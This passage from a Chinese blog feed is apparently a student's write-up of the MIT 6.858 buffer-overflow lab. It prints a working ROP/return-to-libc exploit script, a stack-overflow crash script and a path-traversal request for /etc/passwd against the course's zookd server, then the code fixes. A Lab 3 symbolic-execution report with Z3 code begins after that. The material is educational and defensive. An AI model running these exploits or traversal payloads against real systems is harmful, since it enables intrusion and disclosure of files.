&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;checksec-binary-protections.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;开了 PIE 比较难弄，虽然我们可以利用 partial overwrite 的方式来在 text 段的同一张页面上进行一次跳转，不过我们还不知道我们的参数到 &lt;code&gt;http_request_headers()&lt;&#x2F;code&gt; 栈底间的距离&lt;&#x2F;p&gt;
&lt;p&gt;信息泄露这一步比较难弄，于是笔者看了看其他人的做法，发现&lt;strong&gt;大家都是直接用 gdb 看程序以及 libc 的基址（&lt;&#x2F;strong&gt; 这么做其实不太实战，估计是为了教学目的降低了难度）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;笔者想了大半天怎么构建 ROP、怎么泄露 libc 地址、逆了半天程序找可用的 gadget，最后才知道这个实验是直接用 gdb 查看程序代码段+libc 的地址...挺无语的其实&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那笔者只好也这么做了（笑），虽然说他提供了一个莫名其妙的 &lt;code&gt;accidentially()&lt;&#x2F;code&gt; 函数但是笔者选择直接忽略，随便找程序中的一个 &lt;code&gt;ret&lt;&#x2F;code&gt; 构造滑板后面跟 ROP 链即可，因为这个 Exercise 说实话做起来莫名其妙的所以笔者也用莫名其妙的解法好了（笑），这里配合 ROPgadget 找了一些 gadget 随便凑了一个可用的 ROP chain：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python3
from pwn import *
import socket
import sys

context.arch = &amp;#x27;amd64&amp;#x27;

def get_malicious_request():
    e = ELF(&amp;#x27;.&amp;#x2F;zookd-nxstack&amp;#x27;)
    libc = ELF(&amp;quot;&amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6&amp;quot;)
    libc_base = 0x1555552e8000

    pop_rdi_ret = libc_base + libc.search(asm(&amp;#x27;pop rdi ; ret&amp;#x27;)).__next__()
    pop_rdx_pop_rbx_ret = libc_base + 0x11f497 # &amp;#x27;pop rdx ; ret&amp;#x27; by search can&amp;#x27;t be used
    pop_rcx_ret = libc_base + libc.search(asm(&amp;#x27;pop rcx ; ret&amp;#x27;)).__next__()
    ret = pop_rdi_ret + 1
    copy_gadget = libc_base + 0xc5163 # mov qword ptr [rax + rdx - 8], rdi ; ret
    push_rax_pop_rbx_ret = libc_base + 0x1750eb
    mov_rdi_rbx_call_rcx = libc_base + 0x15e9d8

    func_malloc = libc_base + libc.sym[&amp;#x27;malloc&amp;#x27;]
    func_unlink = libc_base + libc.sym[&amp;#x27;unlink&amp;#x27;]

    # ret for slide
    payload  = 512 * p64(ret)
    # alloc a chunk to store the string
    payload += p64(pop_rdi_ret) + p64(0x100) + p64(func_malloc)
    # copy string to chunk
    payload += p64(pop_rdx_pop_rbx_ret) + p64(0x8) + b&amp;#x27;arttnba3&amp;#x27;
    payload += p64(pop_rdi_ret) + p64(0x74732f656d6f682f) + p64(copy_gadget)
    payload += p64(pop_rdx_pop_rbx_ret) + p64(0x10) + b&amp;#x27;arttnba3&amp;#x27;
    payload += p64(pop_rdi_ret) + p64(0x72672f746e656475) + p64(copy_gadget)
    payload += p64(pop_rdx_pop_rbx_ret) + p64(0x18) + b&amp;#x27;arttnba3&amp;#x27;
    payload += p64(pop_rdi_ret) + p64(0x7478742e73656461) + p64(copy_gadget)
    payload += p64(pop_rdx_pop_rbx_ret) + p64(0x20) + b&amp;#x27;arttnba3&amp;#x27;
    payload += p64(pop_rdi_ret) + p64(0) + p64(copy_gadget)
    # call unlink(chunk)
    payload += p64(pop_rcx_ret) + p64(func_unlink)
    payload += p64(push_rax_pop_rbx_ret)
    payload += p64(mov_rdi_rbx_call_rcx)

    # url encoding
    payload = payload.replace(b&amp;#x27;\x00&amp;#x27;, b&amp;#x27;%00&amp;#x27;)

    req  = b&amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    req += b&amp;quot;arttnba3: &amp;quot; + payload + b&amp;quot;\r\n&amp;quot;
    req += b&amp;quot;\r\n&amp;quot;

    return req

def exp():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&amp;#x27;localhost&amp;#x27;, 8080))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)
    sock.send(get_malicious_request())

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    exp()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;笔者的解法简单来说是用 malloc 来分配一个 chunk 往上面写字符串，之后 &lt;code&gt;unlink(chunk)&lt;&#x2F;code&gt; 即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;make-check-libc-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用如下命令进行检查：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ make check-libc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过√&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;make-check-libc-passed-2.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后是一个 &lt;em&gt;Challenge&lt;&#x2F;em&gt; ，&lt;strong&gt;在不依赖&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;code&gt;accidentally()&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;函数的情况下构造 ROP&lt;&#x2F;strong&gt;，提示了我们可以使用 ROPgadget 来寻找 gadget ：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Challenge! (optional)&lt;&#x2F;em&gt;  The &lt;code&gt;accidentally&lt;&#x2F;code&gt; function is a bit artificial. For extra credit, figure out how to perform the return-to-libc attack without relying on that function (delete it and find another way to make your exploit work). Provide your attack in &lt;code&gt;exploit-challenge.py&lt;&#x2F;code&gt;. Also, briefly explain the attack and provide ROP gadgets you use in &lt;code&gt;answers.txt&lt;&#x2F;code&gt;.
You will need to find another chunk of code to reuse that gives you control over &lt;code&gt;%rdi&lt;&#x2F;code&gt;. You can read through the disassembly (e.g. using &lt;code&gt;objdump&lt;&#x2F;code&gt;) to look for useful ROP gadgets.
Because of the nature of x86&#x2F;x86-64, you can use another technique to find sequences of instructions that don&#x27;t even appear in the disassembly! Instructions are variable-length (from 1 to 15 bytes), and by causing a misaligned parse (by jumping into the middle of an intended instruction), you can cause a sequence of machine code to be misinterpreted. For example, the instruction sequence &lt;code&gt;pop %r15; ret&lt;&#x2F;code&gt; corresponds to the machine code &lt;code&gt;41 5F C3&lt;&#x2F;code&gt;. But instead of executing from the start of this instruction stream, if you jump 1 byte in, the machine code &lt;code&gt;5F C3&lt;&#x2F;code&gt; corresponds to the assembly &lt;code&gt;pop %rdi; ret&lt;&#x2F;code&gt;.
Automated tools such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;JonathanSalwan&#x2F;ROPgadget&quot;&gt;ROPgadget.py&lt;&#x2F;a&gt; can assist you in searching for ROP gadgets, even finding gadgets that arise from misaligned parses. The 6.858 VM already has &lt;code&gt;ROPgadget&lt;&#x2F;code&gt; installed.
You may find it useful to search for ROP gadgets not just in the &lt;code&gt;zookd&lt;&#x2F;code&gt; binary but in other libraries that &lt;code&gt;zookd&lt;&#x2F;code&gt; loads at runtime. To see these libraries, and the addresses at which they are loaded, you can run  &lt;strong&gt;( ulimit -s unlimited &amp;amp;&amp;amp; setarch -R ldd zookd-nxstack )&lt;&#x2F;strong&gt; . The &lt;code&gt;ulimit&lt;&#x2F;code&gt; and &lt;code&gt;setarch&lt;&#x2F;code&gt; commands set up the same environment used by &lt;code&gt;clean-env.sh&lt;&#x2F;code&gt;, so that &lt;code&gt;ldd&lt;&#x2F;code&gt; prints the same addresses that will be used at runtime.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;笔者一开始的思路就是不用  &lt;code&gt;accidentally()&lt;&#x2F;code&gt; （非常莫名其妙的一个函数），所以等于是直接通过了（笑）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x04-part-4-fixing-buffer-overflows-and-other-bugs&quot;&gt;&lt;strong&gt;0x04. Part 4: Fixing buffer overflows and other bugs&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这一块就是两个 Exercise， 先看 Exercise 6，让我们寻找程序中的其他漏洞（至少两个，除了 &lt;code&gt;zoobar&lt;&#x2F;code&gt; 中的以外，那个是留给未来的其他 labs 的）：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 6.&lt;&#x2F;strong&gt;  Look through the source code and try to find more vulnerabilities that can allow an attacker to compromise the security of the web server. Describe the attacks you have found in &lt;code&gt;answers.txt&lt;&#x2F;code&gt;, along with an explanation of the limitations of the attack, what an attacker can accomplish, why it works, and how you might go about fixing or preventing it. You should ignore bugs in &lt;code&gt;zoobar&lt;&#x2F;code&gt;&#x27;s code. They will be addressed in future labs.
One approach for finding vulnerabilities is to trace the flow of inputs controlled by the attacker through the server code. At each point that the attacker&#x27;s input is used, consider all the possible values the attacker might have provided at that point, and what the attacker can achieve in that manner.
You should find at least two vulnerabilities for this exercise.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;源码审计还是比较简单的，但是笔者审了大半天好像也没找到除了上面的 bug 以外的 bug，还好后面还是找到了一些&lt;&#x2F;p&gt;
&lt;p&gt;首先是在 &lt;code&gt;process_client()&lt;&#x2F;code&gt; 中存储请求 URL 的长度的位置存在一个栈溢出，因为一次最多一行读 8192 字节，但这里明显没有预留足够的空间&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static void process_client(int fd)
{
    static char env[8192];  &amp;#x2F;* static variables are not on the stack *&amp;#x2F;
    static size_t env_len = 8192;
    char reqpath[4096];     &amp;#x2F;&amp;#x2F; 只留了4096字节
    const char *errmsg;

    &amp;#x2F;* get the request line *&amp;#x2F; &amp;#x2F;&amp;#x2F; 这里一次最多读 8192 字节
    if ((errmsg = http_request_line(fd, reqpath, env, &amp;amp;env_len)))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;简单测试一下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python3
import socket
import sys

def exp():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&amp;#x27;localhost&amp;#x27;, 8080))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)

    payload = b&amp;quot;GET &amp;#x2F;&amp;quot; + b&amp;quot;arttnba3&amp;quot; * 768 + b&amp;quot; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    payload += b&amp;quot;\r\n&amp;quot;
    sock.send(payload)

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    exp()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功 crash，不过这里并非因为非法返回地址 crash，而是因为我们覆写掉了栈上的 &lt;code&gt;errmsg&lt;&#x2F;code&gt; 变量导致非法内存引用从而 crash&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;zookws-exploit-crash-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第二个漏洞是在 &lt;code&gt;http_serve&lt;&#x2F;code&gt; 中存在目录穿越的问题，由于没有对路径做过滤及判断，这可以让我们访问到服务器根目录外的文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;void http_serve(int fd, const char *name)
{
    void (*handler)(int, const char *) = http_serve_none;
    char pn[2048];
    struct stat st;

    getcwd(pn, sizeof(pn));
    setenv(&amp;quot;DOCUMENT_ROOT&amp;quot;, pn, 1);

    if (strlen(name) + strlen(pn) + 1 &amp;gt;= sizeof(pn)) {
        http_err(fd, 500, &amp;quot;Request too long&amp;quot;);
        return;
    }
    strncat(pn, name, sizeof(pn) - strlen(pn) - 1);
    split_path(pn);

    if (!stat(pn, &amp;amp;st))
    {
        &amp;#x2F;* executable bits -- run as CGI script *&amp;#x2F;
        if (valid_cgi_script(&amp;amp;st))
            handler = http_serve_executable;
        else if (S_ISDIR(st.st_mode))
            handler = http_serve_directory;
        else
            handler = http_serve_file;
    }

    handler(fd, pn);
}

&amp;#x2F;&amp;#x2F;...

void http_serve_file(int fd, const char *pn)
{
    &amp;#x2F;&amp;#x2F;...

    if ((filefd = open(pn, O_RDONLY)) &amp;lt; 0)
        return http_err(fd, 500, &amp;quot;open %s: %s&amp;quot;, pn, strerror(errno));

    &amp;#x2F;&amp;#x2F;...

#ifndef BSD
    struct stat st;
    if (!fstat(filefd, &amp;amp;st))
        len = st.st_size;
    if (sendfile(fd, filefd, 0, len) &amp;lt; 0)
#else
    if (sendfile(filefd, fd, 0, &amp;amp;len, 0, 0) &amp;lt; 0)
#endif
        err(1, &amp;quot;sendfile&amp;quot;);
    close(filefd);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;简单写个脚本测试下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python3
import socket
import sys

def exp():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((&amp;#x27;localhost&amp;#x27;, 8080))
    print(&amp;quot;Connected to the server. Sending request now...&amp;quot;)

    payload = b&amp;quot;GET &amp;#x2F;..&amp;#x2F;..&amp;#x2F;..&amp;#x2F;..&amp;#x2F;etc&amp;#x2F;passwd&amp;quot; + b&amp;quot; HTTP&amp;#x2F;1.0\r\n&amp;quot;
    payload += b&amp;quot;REQUEST_URI: &amp;quot; + b&amp;quot;index.html&amp;quot;  + b&amp;quot;\r\n&amp;quot;
    payload += b&amp;quot;\r\n&amp;quot;
    sock.send(payload)

    print(&amp;quot;Receiving response...&amp;quot;)
    rbuf = sock.recv(1024)
    resp = b&amp;#x27;&amp;#x27;
    while len(rbuf):
        resp += rbuf
        rbuf = sock.recv(1024)

    print(&amp;quot;Got response:&amp;quot;)
    print(resp)

    sock.close()

if __name__ == &amp;#x27;__main__&amp;#x27;:
    exp()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功访问到 &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;etc-passwd-exploit-success.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Exercise 6 里说 &lt;code&gt;You should find at least two vulnerabilities for this exercise.&lt;&#x2F;code&gt; ，笔者已经找足两个，满足了题目要求，就不继续找更多的了（笑）&lt;&#x2F;p&gt;
&lt;p&gt;接下来看最后一个 Exercise，让我们进行漏洞修复，主要是修找到的栈溢出漏洞：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 7.&lt;&#x2F;strong&gt;  For each buffer overflow vulnerability you have exploited in Exercises 2, 4, and 5, fix the web server&#x27;s code to prevent the vulnerability in the first place. Do not rely on compile-time or runtime mechanisms such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Stack_buffer_overflow%23Stack_canaries&quot;&gt;stack canaries&lt;&#x2F;a&gt;, removing &lt;code&gt;-fno-stack-protector&lt;&#x2F;code&gt;, baggy bounds checking, etc.
Make sure that your code actually stops your exploits from working. Use &lt;strong&gt;make check-fixed&lt;&#x2F;strong&gt; to run your exploits against your modified source code (as opposed to the staff reference binaries from &lt;code&gt;bin.tar.gz&lt;&#x2F;code&gt;). These checks should report FAIL (i.e., exploit no longer works). If they report PASS, this means the exploit still works, and you did not correctly fix the vulnerability.
Note that your submission should &lt;em&gt;not&lt;&#x2F;em&gt; make changes to the &lt;code&gt;Makefile&lt;&#x2F;code&gt; and other grading scripts. We will use our unmodified version during grading.
You should also make sure your code still passes all tests using &lt;strong&gt;make check&lt;&#x2F;strong&gt;, which uses the unmodified lab binaries.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;主要是修这两个地方：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;const char *http_request_headers(int fd)
{
    &amp;#x2F;&amp;#x2F;...
    char value[8192];
    char envvar[8192];
static void process_client(int fd)
{
    &amp;#x2F;&amp;#x2F;...
    char reqpath[8192];
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用如下命令进行检查，攻击全部失败代表成功：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ make check-fixed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功通过√&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab1&#x2F;make-check-fixed-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;至此， Lab1 全部完成&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>MIT 6.858 Computer Systems Security - Lab 3 实验报告</title>
        <published>2024-06-15T00:00:00+00:00</published>
        <updated>2024-06-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-3-实验报告/"/>
        <id>https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-3-实验报告/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/mit-6.858-computer-systems-security-lab-3-实验报告/">&lt;h1 id=&quot;mit-6-858-computer-systems-security-lab-3-shi-yan-bao-gao&quot;&gt;MIT 6.858 Computer Systems Security - Lab 3 实验报告&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;669739189&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;669739189&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;0x00-yi-qie-kai-shi-zhi-qian&quot;&gt;0x00. 一切开始之前&lt;&#x2F;h2&gt;
&lt;p&gt;本 lab 将教大家使用 &lt;strong&gt;符号执行&lt;&#x2F;strong&gt; （&lt;strong&gt;symbolic execution&lt;&#x2F;strong&gt;） 这一强大的技术来寻找软件中的漏洞，在 lab 的最后我们将建立一个可以在 zoobar web 应用中寻找触发多种漏洞的符号执行系统（准确的说是一个&lt;strong&gt;混合执行&lt;&#x2F;strong&gt;（concolic execution）系统）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;关于什么是 concolic execution，可以看这张图&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;concolic-execution-example.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;css.csail.mit.edu&#x2F;6.858&#x2F;2022&#x2F;readings&#x2F;exe.pdf&quot;&gt;EXE paper&lt;&#x2F;a&gt; 中描述了一个用于 C 程序的符号执行系统，为了简单化，该 lab 将通过修改 Python 对象与重载特定方法来为 Python 程序建立一个符号&#x2F;混合执行系统，类似于 EXE，我们将使用一个 SMT （ &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Satisfiability_Modulo_Theories&quot;&gt;Satisfiability Modulo Theories&lt;&#x2F;a&gt;，可满足性模理论）求解器来检查可满足的约束，这意味着我们的求解器可以检查同时包含传统布尔可满足性表达式与涉及其他“理论”的约束如整型、位向量、字符串等&lt;&#x2F;p&gt;
&lt;p&gt;本 lab 初始我们首先要通过计算 32 位有&#x2F;无符号数的平均值来熟悉 &lt;strong&gt;Z3&lt;&#x2F;strong&gt;——一个流行的 SMT 求解器，接下来我们将为 Python 整型操作创建 wrappers（类似 EXE 提供了符号变量上的操作置换），并应用调用 Z3 的核心逻辑来探索可能的不同执行路径；最终我们将探索如何将其应用在 web 应用程序上，以对字符串进行求解，我们将为 Python 的字符串操作套一层 wrapper，在 SQLalchemy 数据库接口上应用对符号化友好的（symbolic-friendly）wrapper，并使用这个系统寻找 Zoobar 中的漏洞&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面两段都是抄实验手册的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来首先还是惯例地切换到 lab 3 的分支：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ git commit -am &amp;#x27;lab2 completed&amp;#x27;
$ git pull
$ git checkout -b lab3 origin&amp;#x2F;lab3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里注意不要将 lab 2 的代码合并到 lab 3 里边，因为我们的符号执行系统无法通过 RPC 追踪多进程间的符号约束，所以我们在一个没有进行权限分离的 Zoobar 上进行符号执行&lt;&#x2F;p&gt;
&lt;p&gt;接下来是检查代码可用性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ make check
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果如下就 ，需要注意的是符号执行系统是 CPU 密集型的，因此对于不开启 KVM 支持的 QEMU 而言会非常慢：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;make-check-lab3.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x01-using-an-smt-solver&quot;&gt;&lt;strong&gt;0x01. Using an SMT solver&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;符号执行的核心是 &lt;strong&gt;可满足性模理论求解器&lt;&#x2F;strong&gt;（&lt;strong&gt;Satisfiability Modulo Theory solver&lt;&#x2F;strong&gt;， 即 &lt;code&gt;SMT solver&lt;&#x2F;code&gt;），在本 lab 中我们将使用微软开发的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Z3Prover&#x2F;z3&quot;&gt;Z3 solver&lt;&#x2F;a&gt; 的 Python-based API（参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;ericpony.github.io&#x2F;z3py-tutorial&#x2F;&quot;&gt;z3py tutorial&lt;&#x2F;a&gt; &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;z3prover.github.io&#x2F;api&#x2F;html&#x2F;namespacez3py.html&quot;&gt;documentation for Z3&#x27;s Python API&lt;&#x2F;a&gt;），并使用  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;rise4fun.com&#x2F;z3&#x2F;tutorialcontent&#x2F;sequences&quot;&gt;Z3&#x27;s support for strings&lt;&#x2F;a&gt;；本 Lab 带有一个构建自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Z3Prover&#x2F;z3&quot;&gt;Z3 github repo&lt;&#x2F;a&gt; 的 Z3&lt;&#x2F;p&gt;
&lt;p&gt;实验提供了 &lt;code&gt;int-avg.py&lt;&#x2F;code&gt; 作为使用 Z3 的例子：  &lt;em&gt;计算两个 32 位整型的平均值&lt;&#x2F;em&gt;  ，一个最简单的算法是 &lt;code&gt;(x + y) &#x2F; 2&lt;&#x2F;code&gt; ，但这可能会发生&lt;strong&gt;整型上溢&lt;&#x2F;strong&gt;，从而得到  &lt;em&gt;模 232&lt;&#x2F;em&gt; 上的值（想了解更多，参见  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;people.csail.mit.edu&#x2F;nickolai&#x2F;papers&#x2F;wang-kint-2013-06-24.pdf&quot;&gt;KINT paper&lt;&#x2F;a&gt; ）——Z3 可以帮我们检查这个错误：予其一个布尔表达式，Z3 可以告诉我们其&lt;strong&gt;是否为真&lt;&#x2F;strong&gt;（即可以被满足）；若表达式可以为真且包含一些变量，Z3 可以给我们一些使表达式为真的示例变量&lt;&#x2F;p&gt;
&lt;p&gt;现在我们来看这份代码（这里不会仔细讲 Z3 的用法，不懂的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;z3prover.github.io&#x2F;api&#x2F;html&#x2F;&quot;&gt;自行查文档&lt;&#x2F;a&gt;），其首先会使用 Z3 创建两个 32 位的位向量 a 与 b：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env python3

import z3

## Construct two 32-bit integer values.  Do not change this code.
a = z3.BitVec(&amp;#x27;a&amp;#x27;, 32)
b = z3.BitVec(&amp;#x27;b&amp;#x27;, 32)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来分别计算有&#x2F;无符号除法下两数的平均值，注意这里&lt;strong&gt;并没有实际进行计算，而仅是保存了符号变量表达式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Compute the average of a and b.  The initial computation we provided
## naively adds them and divides by two, but that is not correct.  Modify
## these lines to implement your solution for both unsigned (u_avg) and
## signed (s_avg) division.
##
## Watch out for the difference between signed and unsigned integer
## operations.  For example, the Z3 expression (x&amp;#x2F;2) performs signed
## division, meaning it treats the 32-bit value as a signed integer.
## Similarly, (x&amp;gt;&amp;gt;16) shifts x by 16 bits to the right, treating it
## as a signed integer.
##
## Use z3.UDiv(x, y) for unsigned division of x by y.
## Use z3.LShR(x, y) for unsigned (logical) right shift of x by y bits.
u_avg = z3.UDiv(a + b, 2)
s_avg = (a + b) &amp;#x2F; 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
